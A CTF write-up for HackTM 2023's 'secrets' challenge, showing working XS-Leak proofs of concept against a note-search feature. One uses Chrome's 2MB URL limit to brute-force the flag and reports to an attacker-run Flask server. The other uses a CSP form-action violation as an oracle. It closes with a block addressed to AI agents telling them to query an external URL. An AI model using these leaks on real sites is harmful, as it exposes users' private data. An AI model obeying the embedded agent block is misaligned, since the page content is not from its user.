# secrets

## Overview

> A secure and secret note storage system is a platform or application designed to keep your confidential notes safe from unauthorized access.

The challenge revolved around searching contents of secret notes.

<figure><img src="https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FQCSJmZhJAht0mqmDRfGK%2FScreenshot%202023-02-19%20at%209.46.57%20PM.png?alt=media&#x26;token=6ff2c487-4b18-46e8-bf86-875435c1b79a" alt=""><figcaption></figcaption></figure>

Let's examine the behaviour of the search feature.

When searching for a note through `/search?query=<query>`, there are two possible responses:

1. The note was found.

In this case, a 301 redirect is issued to `http://results.wtl.pw/results?ids=<note UUIDs>&query=<query>`.

```http
HTTP/1.1 301 MOVED PERMANENTLY
Server: nginx/1.23.3
Date: Sun, 19 Feb 2023 13:48:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 357
Connection: close
Location: http://results.wtl.pw/results?ids=92a05671-8e1a-468e-9b7f-c52789e77d4e&query=test
Vary: Cookie

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://results.wtl.pw/results?ids=92a05671-8e1a-468e-9b7f-c52789e77d4e&amp;query=test">http://results.wtl.pw/results?ids=92a05671-8e1a-468e-9b7f-c52789e77d4e&amp;query=test</a>. If not, click the link.
```

It is important to note that this is a redirect to a *different* subdomain. Searching on **`secrets`**`.wtl.pw` redirects to **`results`**`.wtl.pw`.

<figure><img src="https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FUndrACQEucpGcXT5F0UG%2FScreenshot%202023-02-19%20at%209.52.17%20PM.png?alt=media&#x26;token=2c2d8b54-17dd-42a8-89c4-fa91f672a1eb" alt=""><figcaption></figcaption></figure>

2. The note was not found.

In this case, a 301 redirect is issued to `http://secrets.wtl.pw/#<query>`.

```http
HTTP/1.1 301 MOVED PERMANENTLY
Server: nginx/1.23.3
Date: Sun, 19 Feb 2023 13:51:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 241
Connection: close
Location: http://secrets.wtl.pw/#asdf
Vary: Cookie

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://secrets.wtl.pw/#asdf">http://secrets.wtl.pw/#asdf</a>. If not, click the link.

```

<figure><img src="https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FkX2wme6IEGOP8Rfcxo71%2FScreenshot%202023-02-19%20at%209.51.58%20PM.png?alt=media&#x26;token=3aa668aa-06c9-413d-be5b-c8500ab1b9d4" alt=""><figcaption></figcaption></figure>

## Unintended Solution — Chrome's 2MB URL Limit

One thing that might be immediately noticeable is that if the note was found, then the resulting URL length is extended considerably by the `ids` parameter.

A [well-known technique](https://xsleaks.dev/docs/attacks/navigations/#inflation) in these kinds of scenarios is hitting the server's maximum URL limit, and detecting error status codes. However, these rely on `SameSite=None` cookies for the [error event detection](https://xsleaks.dev/docs/attacks/error-events/).&#x20;

The challenge had `SameSite=Lax` cookies, so the primitive for any XS-Leak attack is a top-level navigation (e.g. through `window.open`). There is no way to detect server response codes in a cross-origin window reference, so I started looking for other ways to detect the URL inflation.

We might not be able to detect a *server-side* URL length error, but can we somehow detect a *client-side* one? According to [Chromium documentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), Chrome's maximum URL length is 2MB.

> In general, the *web platform* does not have limits on the length of URLs (although 2^31 is a common limit). *Chrome* limits URLs to a maximum length of **2MB** for practical reasons and to avoid causing denial-of-service problems in inter-process communication.

This is where it gets interesting! Because this is a *client-side* constraint, and URL fragments persist on redirects, we can open `/search?query=<query>#AAA...[2MB]...AAA` to hit the length limit.

So, what happens when the URL limit is exceeded?

Apparently, it shows an `about:blank#blocked` page.

<figure><img src="https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FXvs3V7DsZheg3ziietYZ%2FScreenshot%202023-02-19%20at%2010.38.58%20PM.png?alt=media&#x26;token=583e7c80-5b89-4843-a2c1-992c367a4ff5" alt=""><figcaption></figcaption></figure>

As you might expect, trying to access the `origin` (or any other sensitive information) of a cross-origin window reference would raise an exception.

<figure><img src="https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FfNTs3DTtGyDB0XrgfdfM%2FScreenshot%202023-02-19%20at%2010.43.00%20PM.png?alt=media&#x26;token=ad183a6b-6d48-4e05-a80f-72ad52fad75e" alt=""><figcaption></figcaption></figure>

However, when opening a page that errors out due to the 2MB constraint, the window's `origin` remains that of the parent.

As an experiment, let's try a successful query.

```javascript
let url = "http://secrets.wtl.pw/search?query=test#"
let w = window.open(url + "A".repeat(2 * 1024 * 1024 - url.length - 1))
```

The length of the opened URL&#x20;

```
http://secrets.wtl.pw/search?query=test#AAA...AAA
```

is exactly 2MB - 1, so the initial search URL is just under the length limit.

When the window is redirected to

```
http://results.wtl.pw/results?ids=<note UUIDs>&query=test#AAA...AAA
```

the URL is extended and the length limit is hit. The window becomes an `about:blank` page and its `origin` remains that of the parent.

<figure><img src="https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FAk6xaCBJB7vOuWSzgeOW%2FScreenshot%202023-02-19%20at%2010.54.16%20PM.png?alt=media&#x26;token=e991d70a-5fcd-419e-a404-c2c3fdb4457a" alt=""><figcaption></figcaption></figure>

Now, if we try the same thing on an unsuccessful query, the final redirected URL falls short of the 2MB limit and the window's `origin` is no longer accessible.

<figure><img src="https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FSeLaZLCCdWvxgB66Hycw%2FScreenshot%202023-02-19%20at%2010.54.42%20PM.png?alt=media&#x26;token=f598c341-13c0-4a38-b57c-07e1ac46a0e4" alt=""><figcaption></figcaption></figure>

This can be extended to the following PoC, which brute-forces a character of the flag.

```markup
<html>
<body></body>
<script>
    (async () => {

        const curr = "http://secrets.wtl.pw/search?query=HackTM{"

        const leak = async (char) => {
            
            fetch("/?try=" + char)
            let w = window.open(curr + char +  "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
            
            const check = async () => {
                try {
                    w.origin
                } catch {
                    fetch("/?nope=" + char)
                    return
                }
                setTimeout(check, 100)
            }
            check()
        }

        const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"

        for (let i = 0; i < CHARSET.length; i++) {
            leak(CHARSET[i])
            await new Promise(resolve => setTimeout(resolve, 50))
        }
    })()
</script>
</html>
```

Because this PoC only tells us what is definitely *not* the flag (by detecting the `w.origin` errors), we can implement a backend server to quickly find what *is* the flag by eliminating the unsuccessful queries from the charset.

```python
from flask import Flask, request

app = Flask(__name__)

CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []

@app.route('/', methods=['GET'])
def index():
    global chars
    
    nope = request.args.get('nope', '')
    if nope:
        chars.append(nope)

    remaining = [c for c in CHARSET if c not in chars]

    print("Remaining: {}".format(remaining))

    return "OK"

@app.route('/exploit.html', methods=['GET'])
def exploit():
    return open('exploit.html', 'r').read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)
```

The downside of this method is that the long URLs can cause significant lag on the server's admin bot. This *may or may not* have made the bot extremely unstable for a period of time... oops!

## Intended Solution — CSP Violation

It turns out that there is a much faster and less laggy way of detecting the redirects. Because the redirect is to a different origin, we can use [CSP violations](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects) as an oracle.&#x20;

```markup
<meta http-equiv="Content-Security-Policy" content="form-action http://secrets.wtl.pw">
<form action="http://secrets.wtl.pw/search" method="get">
    <input type="text" name="query" value="test">
</form>

<script>
    document.addEventListener('securitypolicyviolation', () => {
        console.log("CSP violation!")
    });
    document.forms[0].submit();
</script>
```

Because the query was successful, the window attempted to load `http://results.wtl.pw`. But since our CSP dictates that forms can only be submitted to `http://secrets.wtl.pw`, the request was blocked. We can detect this through the `securitypolicyviolation` event listener.

<figure><img src="https://3167364547-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MX1bWRlBzHpEPe1TYDD%2Fuploads%2FjfjoBUncYx0U2dyQvVLH%2FScreenshot%202023-02-19%20at%2011.03.59%20PM.png?alt=media&#x26;token=01008368-89fe-4734-a84b-b213aac53842" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
